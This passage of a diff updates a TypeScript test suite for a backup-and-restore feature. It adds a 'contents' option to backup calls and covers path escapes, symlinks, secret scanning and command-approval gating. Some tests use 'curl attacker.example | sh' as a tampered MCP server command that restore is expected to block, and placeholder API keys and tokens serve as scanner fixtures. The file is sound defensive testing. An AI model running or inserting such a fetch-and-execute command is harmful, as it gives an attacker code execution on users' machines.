       muxRoot,
+      contents: resolveBackupContents({ includeMcpHeaders: false }),
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1475,7 +1718,7 @@ describe("backup payload", () => {
 
     const fresh = path.join(tempDir, "fresh-headers-root");
     await fs.mkdir(fresh, { recursive: true });
-    await restoreBackupPayload({ muxRoot: fresh, payload: readBack });
+    await restoreBackupPayload({ muxRoot: fresh, contents: CONTENTS, payload: readBack });
     const restored = jsonc.parse(await fs.readFile(path.join(fresh, "mcp.jsonc"), "utf-8")) as {
       servers: { api: { url: string; headers?: Record<string, unknown> } };
     };
@@ -1491,6 +1734,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1525,6 +1769,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1559,6 +1804,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1579,6 +1825,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", JSON.stringify({ servers: {} }));
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1608,7 +1855,7 @@ describe("backup payload", () => {
 
     const fresh = path.join(tempDir, "empty-url-fresh");
     await fs.mkdir(fresh, { recursive: true });
-    await restoreBackupPayload({ muxRoot: fresh, payload: tampered });
+    await restoreBackupPayload({ muxRoot: fresh, contents: CONTENTS, payload: tampered });
     const servers = (
       jsonc.parse(await fs.readFile(path.join(fresh, "mcp.jsonc"), "utf-8")) as {
         servers: Record<string, { command?: string; url?: string; disabled?: boolean }>;
@@ -1632,6 +1879,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1655,7 +1903,7 @@ describe("backup payload", () => {
     const readBack = await readBackupPayload(destination);
     // Rehydration resolves to the local text, so nothing is a repository-authored change.
     expect(await collectMcpCommandApprovals(muxRoot, readBack.files)).toEqual([]);
-    await restoreBackupPayload({ muxRoot, payload: readBack });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: readBack });
 
     const restored = jsonc.parse(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")) as {
       servers: { objectHere: { command: string }; stringHere: string };
@@ -1672,6 +1920,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1701,7 +1950,7 @@ describe("backup payload", () => {
 `
     );
     expect(await collectMcpCommandApprovals(muxRoot, commentedPayload.files)).toEqual([]);
-    await restoreBackupPayload({ muxRoot, payload: commentedPayload });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: commentedPayload });
 
     const restoredText = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
     const commentOrder = [
@@ -1728,6 +1977,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1745,7 +1995,7 @@ describe("backup payload", () => {
 }
 `
     );
-    await restoreBackupPayload({ muxRoot, payload });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload });
 
     const restoredText = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
     expect(restoredText).toContain("local map trailing comment");
@@ -1763,6 +2013,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", JSON.stringify({ servers: null }));
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1787,7 +2038,7 @@ describe("backup payload", () => {
 }
 `
       );
-      await restoreBackupPayload({ muxRoot, payload: variant });
+      await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: variant });
       const restoredText = await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8");
       expect(restoredText).toContain("local map comment");
       if (!("servers" in backupMcp)) {
@@ -1802,6 +2053,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", JSON.stringify({ servers: {} }));
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -1817,7 +2069,9 @@ describe("backup payload", () => {
       });
       await writeFixtureFile(muxRoot, "mcp.jsonc", localConfig);
 
-      const error = await captureRejection(restoreBackupPayload({ muxRoot, payload: variant }));
+      const error = await captureRejection(
+        restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: variant })
+      );
       expect((error as { code?: string }).code).toBe("INVALID_BACKUP");
       expect(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")).toBe(localConfig);
     }
@@ -1831,6 +2085,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1850,7 +2105,9 @@ describe("backup payload", () => {
     expect(approvals[0]?.command).toBe("curl attacker.example | sh");
 
     expect(
-      await captureRejection(restoreBackupPayload({ muxRoot, payload: readBack }))
+      await captureRejection(
+        restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: readBack })
+      )
     ).toBeInstanceOf(BackupCommandApprovalRequiredError);
     expect(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")).toContain("npx notes-mcp");
 
@@ -1858,6 +2115,7 @@ describe("backup payload", () => {
     const stale = await captureRejection(
       restoreBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         payload: readBack,
         approvedCommandTokens: [
           backupCommandApprovalToken("servers.notes.command", "npx notes-mcp"),
@@ -1868,6 +2126,7 @@ describe("backup payload", () => {
 
     await restoreBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       payload: readBack,
       approvedCommandTokens: approvals.map((approval) => approval.token),
     });
@@ -1891,13 +2150,14 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
     });
 
     expect(await collectMcpCommandApprovals(muxRoot, payload.files)).toEqual([]);
-    await restoreBackupPayload({ muxRoot, payload });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload });
     expect(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf-8")).toContain("sk-live-bare");
   });
 
@@ -1911,6 +2171,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1937,7 +2198,9 @@ describe("backup payload", () => {
     expect(approvals[0]?.command).toBe("npx dormant-tool");
 
     expect(
-      await captureRejection(restoreBackupPayload({ muxRoot, payload: legacyPayload }))
+      await captureRejection(
+        restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: legacyPayload })
+      )
     ).toBeInstanceOf(BackupCommandApprovalRequiredError);
   });
 
@@ -1957,6 +2220,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -1972,7 +2236,9 @@ describe("backup payload", () => {
     const approvals = await collectMcpCommandApprovals(muxRoot, variant.files);
     expect(approvals.map((approval) => approval.command)).toEqual(["npx dormant-tool"]);
     expect(
-      await captureRejection(restoreBackupPayload({ muxRoot, payload: variant }))
+      await captureRejection(
+        restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: variant })
+      )
     ).toBeInstanceOf(BackupCommandApprovalRequiredError);
 
     await writeFixtureFile(
@@ -1991,6 +2257,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", original);
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -2006,12 +2273,15 @@ describe("backup payload", () => {
     const approvals = await collectMcpCommandApprovals(muxRoot, injected.files);
     expect(approvals.map((approval) => approval.command)).toEqual(["node restored.js"]);
     expect(
-      await captureRejection(restoreBackupPayload({ muxRoot, payload: injected }))
+      await captureRejection(
+        restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: injected })
+      )
     ).toBeInstanceOf(BackupCommandApprovalRequiredError);
     expect(await fs.readFile(configPath, "utf8")).toBe(original);
 
     await restoreBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       payload: injected,
       approvedCommandTokens: approvals.map((approval) => approval.token),
     });
@@ -2031,6 +2301,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -2038,7 +2309,7 @@ describe("backup payload", () => {
     expect(payload.manifest.mcpRedactions).toContainEqual(["enabledPluginServers"]);
     expect(await collectMcpCommandApprovals(muxRoot, payload.files)).toEqual([]);
 
-    await restoreBackupPayload({ muxRoot, payload });
+    await restoreBackupPayload({ muxRoot, contents: CONTENTS, payload });
 
     expect(jsonc.parse(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf8"))).toEqual({
       servers: { notes: "node notes.js" },
@@ -2052,6 +2323,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", original);
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2068,7 +2340,7 @@ describe("backup payload", () => {
         return result;
       }
     );
-    const restore = restoreBackupPayload({ muxRoot, payload });
+    const restore = restoreBackupPayload({ muxRoot, contents: CONTENTS, payload });
     try {
       // Observe the real acquisition, not an arbitrary sleep. An unfenced restore
       // finishes instead of reaching this boundary, so the regression fails promptly.
@@ -2113,6 +2385,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", original);
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2146,7 +2419,9 @@ describe("backup payload", () => {
         return openFile(...args);
       });
       try {
-        const error = await captureRejection(restoreBackupPayload({ muxRoot, payload: variant }));
+        const error = await captureRejection(
+          restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: variant })
+        );
         if (phase === "approval") expect(error).toBeInstanceOf(BackupCommandApprovalRequiredError);
         else expect(error).toBe(writeError);
       } finally {
@@ -2164,6 +2439,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", original);
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2173,7 +2449,9 @@ describe("backup payload", () => {
       '{ "enabledPluginServers": [], "enabledPluginServers": ["plugin:0123456789abcdef:echo"] }'
     );
 
-    const error = await captureRejection(restoreBackupPayload({ muxRoot, payload: duplicate }));
+    const error = await captureRejection(
+      restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: duplicate })
+    );
     expect(error).toBeInstanceOf(Error);
     expect((error as Error).message).toContain("duplicate key 'enabledPluginServers'");
     expect(await fs.readFile(path.join(muxRoot, "mcp.jsonc"), "utf8")).toBe(original);
@@ -2231,6 +2509,7 @@ describe("backup payload", () => {
       await writeFixtureFile(muxRoot, "mcp.jsonc", testCase.initialConfig);
       const payload = await createBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         muxVersion: "1.2.3",
         sourceLabel: "test-host",
         reportSecrets: true,
@@ -2249,7 +2528,9 @@ describe("backup payload", () => {
       const approvals = await collectMcpCommandApprovals(restoreRoot, readBack.files);
       expect(approvals.map((approval) => approval.command)).toEqual([testCase.expectedCommand]);
       expect(
-        await captureRejection(restoreBackupPayload({ muxRoot: restoreRoot, payload: readBack }))
+        await captureRejection(
+          restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload: readBack })
+        )
       ).toBeInstanceOf(BackupCommandApprovalRequiredError);
     });
   }
@@ -2262,6 +2543,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -2280,7 +2562,9 @@ describe("backup payload", () => {
     const approvals = await collectMcpCommandApprovals(muxRoot, readBack.files);
     expect(approvals.map((approval) => approval.command)).toEqual(["curl attacker.example | sh"]);
     expect(
-      await captureRejection(restoreBackupPayload({ muxRoot, payload: readBack }))
+      await captureRejection(
+        restoreBackupPayload({ muxRoot, contents: CONTENTS, payload: readBack })
+      )
     ).toBeInstanceOf(BackupCommandApprovalRequiredError);
   });
 
@@ -2298,6 +2582,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -2324,6 +2609,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -2340,6 +2626,7 @@ describe("backup payload", () => {
       destination,
       await createBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         muxVersion: "1.2.3",
         sourceLabel: "test-host",
         reportSecrets: true,
@@ -2361,6 +2648,7 @@ describe("backup payload", () => {
 
     await restoreBackupPayload({
       muxRoot: restoreRoot,
+      contents: CONTENTS,
       payload: await readBackupPayload(destination),
     });
     expect(await isExecutable(path.join(restoreRoot, "skills/demo/run.sh"))).toBe(true);
@@ -2375,6 +2663,7 @@ describe("backup payload", () => {
     );
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -2406,7 +2695,7 @@ describe("backup payload", () => {
       "mcp.jsonc",
       `{"servers": {"api": {"command": "acme-mcp --api-key local-secret --port 2000"}}}`
     );
-    await restoreBackupPayload({ muxRoot: restoreRoot, payload: readBack });
+    await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload: readBack });
 
     const restored = jsonc.parse(
       await fs.readFile(path.join(restoreRoot, "mcp.jsonc"), "utf-8")
@@ -2419,6 +2708,7 @@ describe("backup payload", () => {
   it("validates every path before replacing an existing payload", async () => {
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2477,7 +2767,12 @@ describe("backup payload", () => {
     );
 
     try {
-      await createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" });
+      await createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      });
       throw new Error("Expected the duplicate key to be rejected");
     } catch (error) {
       if (!(error instanceof Error)) throw error;
@@ -2494,6 +2789,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2511,6 +2807,7 @@ describe("backup payload", () => {
   it("refuses to publish a path Windows cannot check out", async () => {
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2555,6 +2852,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/readme.md", "lower\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "case-sensitive-host",
     });
@@ -2594,7 +2892,7 @@ describe("backup payload", () => {
     const restoreRoot = path.join(tempDir, "case-collision");
     await fs.mkdir(restoreRoot, { recursive: true });
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
       throw new Error("Expected the case collision to be rejected");
     } catch (error) {
       if (!(error instanceof Error)) throw error;
@@ -2609,15 +2907,17 @@ describe("backup payload", () => {
       "mcp.jsonc",
       `{"servers": {"api": {"headers": {"Authorization": "Bearer source-secret"}}}}`
     );
+    const contents = resolveBackupContents({ includeMcpHeaders: false });
     const payload = await createBackupPayload({
       muxRoot,
+      contents,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
 
     const restoreRoot = path.join(tempDir, "malformed-local");
     await writeFixtureFile(restoreRoot, "mcp.jsonc", "{ this is not valid jsonc");
-    await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+    await restoreBackupPayload({ muxRoot: restoreRoot, contents, payload });
 
     // Nothing to rehydrate from a corrupt file, so the header goes and the file parses.
     const restored = jsonc.parse(
@@ -2646,6 +2946,7 @@ describe("backup payload", () => {
   it("rejects payload paths that escape the destination on Windows", async () => {
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2695,6 +2996,7 @@ describe("backup payload", () => {
       const blocked = await captureRejection(
         createBackupPayload({
           muxRoot,
+          contents: CONTENTS,
           muxVersion: "1.2.3",
           sourceLabel: "test-host",
         })
@@ -2703,6 +3005,7 @@ describe("backup payload", () => {
 
       const payload = await createBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         muxVersion: "1.2.3",
         sourceLabel: "test-host",
         reportSecrets: true,
@@ -2711,7 +3014,7 @@ describe("backup payload", () => {
         servers: { private: { url: string } };
       };
       expect(exported.servers.private.url).toBe(url);
-      expect(scanBackupFilesForSecrets(payload.files)).toEqual(["mcp.jsonc"]);
+      expect(scanBackupFilesForSecrets(payload.files, CONTENTS)).toEqual(["mcp.jsonc"]);
       expect(payload.redactions).toEqual([]);
     }
   });
@@ -2728,6 +3031,7 @@ describe("backup payload", () => {
         const blocked = await captureRejection(
           createBackupPayload({
             muxRoot,
+            contents: CONTENTS,
             muxVersion: "1.2.3",
             sourceLabel: "test-host",
           })
@@ -2736,6 +3040,7 @@ describe("backup payload", () => {
 
         const payload = await createBackupPayload({
           muxRoot,
+          contents: CONTENTS,
           muxVersion: "1.2.3",
           sourceLabel: "test-host",
           reportSecrets: true,
@@ -2743,7 +3048,7 @@ describe("backup payload", () => {
         expect(jsonc.parse(payloadFileText(payload, "mcp.jsonc"))).toEqual({
           servers: { private: server },
         });
-        expect(scanBackupFilesForSecrets(payload.files)).toEqual(["mcp.jsonc"]);
+        expect(scanBackupFilesForSecrets(payload.files, CONTENTS)).toEqual(["mcp.jsonc"]);
       }
     }
   });
@@ -2766,10 +3071,11 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
-    expect(scanBackupFilesForSecrets(payload.files)).toEqual([]);
+    expect(scanBackupFilesForSecrets(payload.files, CONTENTS)).toEqual([]);
   });
 
   it("charges what a restore writes, not only what it read", async () => {
@@ -2790,6 +3096,7 @@ describe("backup payload", () => {
     const rejected = await captureRejection(
       restoreBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         payload: {
           manifest: {
             schemaVersion: 1,
@@ -2818,6 +3125,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot: linkedRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2828,6 +3136,7 @@ describe("backup payload", () => {
     await writeFixtureFile(realRoot, "AGENTS.md", "edited\n");
     await restoreBackupPayload({
       muxRoot: linkedRoot,
+      contents: CONTENTS,
       payload: await readBackupPayload(destination),
     });
 
@@ -2843,6 +3152,7 @@ describe("backup payload", () => {
     const rejected = await captureRejection(
       restoreBackupPayload({
         muxRoot,
+        contents: CONTENTS,
         payload: {
           manifest: {
             schemaVersion: 1,
@@ -2875,6 +3185,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/second.md", "second\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2888,6 +3199,7 @@ describe("backup payload", () => {
 
     const result = await restoreBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       payload: await readBackupPayload(destination),
     });
 
@@ -2903,6 +3215,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/note.md", "shared\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2917,6 +3230,7 @@ describe("backup payload", () => {
 
     const result = await restoreBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       payload: await readBackupPayload(destination),
     });
 
@@ -2954,11 +3268,12 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "key AIzaSyA12345678901234567890123456789012\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
     });
-    expect(scanBackupFilesForSecrets(payload.files)).toContain("AGENTS.md");
+    expect(scanBackupFilesForSecrets(payload.files, CONTENTS)).toContain("AGENTS.md");
   });
 
   it("refuses to back up a file hard-linked to one outside the collected set", async () => {
@@ -2969,7 +3284,12 @@ describe("backup payload", () => {
     await fs.link(secret, path.join(muxRoot, "AGENTS.md"));
 
     const rejected = await captureRejection(
-      createBackupPayload({ muxRoot, muxVersion: "1.2.3", sourceLabel: "test-host" })
+      createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
     );
 
     expect((rejected as Error).message).toContain("hard-linked");
@@ -2984,6 +3304,7 @@ describe("backup payload", () => {
 
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -2997,6 +3318,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, restoredPath, "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3014,6 +3336,7 @@ describe("backup payload", () => {
     );
     const result = await restoreBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       payload: await readBackupPayload(destination),
     });
 
@@ -3030,6 +3353,7 @@ describe("backup payload", () => {
     await fs.chmod(path.join(muxRoot, "skills/demo/SKILL.md"), 0o644);
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3047,7 +3371,7 @@ describe("backup payload", () => {
 
     try {
       const rejected = await captureRejection(
-        restoreBackupPayload({ muxRoot: restoreRoot, payload })
+        restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload })
       );
       expect((rejected as Error).message).toBe(
         "Cannot restore 'skills/demo/SKILL.md': the destination cannot be replaced"
@@ -3067,6 +3391,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3081,7 +3406,7 @@ describe("backup payload", () => {
     const getuid = spyOn(process, "getuid").mockReturnValue(existing.uid);
 
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
     } finally {
       getuid.mockRestore();
     }
@@ -3094,6 +3419,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3107,7 +3433,7 @@ describe("backup payload", () => {
     const getuid = spyOn(process, "getuid").mockReturnValue(differentNonRootUid(existing.uid));
 
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
     } finally {
       getuid.mockRestore();
     }
@@ -3119,6 +3445,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "real\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3146,6 +3473,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "skill\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3158,7 +3486,7 @@ describe("backup payload", () => {
     await fs.symlink(outside, path.join(restoreRoot, "skills"));
 
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
       throw new Error("Expected the symlinked directory to be refused");
     } catch (error) {
       if (!(error instanceof Error)) throw error;
@@ -3173,6 +3501,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3193,6 +3522,7 @@ describe("backup payload", () => {
     await fs.chmod(path.join(muxRoot, "skills/demo/SKILL.md"), 0o755);
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3207,7 +3537,7 @@ describe("backup payload", () => {
 
     try {
       const rejected = await captureRejection(
-        restoreBackupPayload({ muxRoot: restoreRoot, payload })
+        restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload })
       );
       expect((rejected as Error).message).toBe(
         "Cannot restore 'skills/demo/SKILL.md': the destination's permissions cannot be changed"
@@ -3226,6 +3556,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3238,7 +3569,7 @@ describe("backup payload", () => {
     const getuid = spyOn(process, "getuid").mockReturnValue(differentNonRootUid(existing.uid));
 
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
     } finally {
       getuid.mockRestore();
     }
@@ -3252,6 +3583,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3264,7 +3596,7 @@ describe("backup payload", () => {
 
     try {
       const rejected = await captureRejection(
-        restoreBackupPayload({ muxRoot: restoreRoot, payload })
+        restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload })
       );
       expect((rejected as Error).message).toContain("not writable");
       expect(await fs.readFile(path.join(restoreRoot, "AGENTS.md"), "utf-8")).toBe("local\n");
@@ -3279,6 +3611,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo/SKILL.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3301,6 +3634,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "from backup\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3310,7 +3644,7 @@ describe("backup payload", () => {
 
     const open = spyOn(fs, "open");
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
       expectNonblockingOpen(
         open,
         (target, flags) =>
@@ -3328,6 +3662,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "skills/demo", "a file, not a directory\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
       reportSecrets: true,
@@ -3338,7 +3673,7 @@ describe("backup payload", () => {
     await fs.mkdir(path.join(restoreRoot, "skills/demo"), { recursive: true });
 
     try {
-      await restoreBackupPayload({ muxRoot: restoreRoot, payload });
+      await restoreBackupPayload({ muxRoot: restoreRoot, contents: CONTENTS, payload });
       throw new Error("Expected the directory clash to be refused");
     } catch (error) {
       if (!(error instanceof Error)) throw error;
@@ -3351,6 +3686,7 @@ describe("backup payload", () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "backed up\n");
     const payload = await createBackupPayload({
       muxRoot,
+      contents: CONTENTS,
       muxVersion: "1.2.3",
       sourceLabel: "test-host",
     });
@@ -3384,6 +3720,7 @@ describe("backup payload", () => {
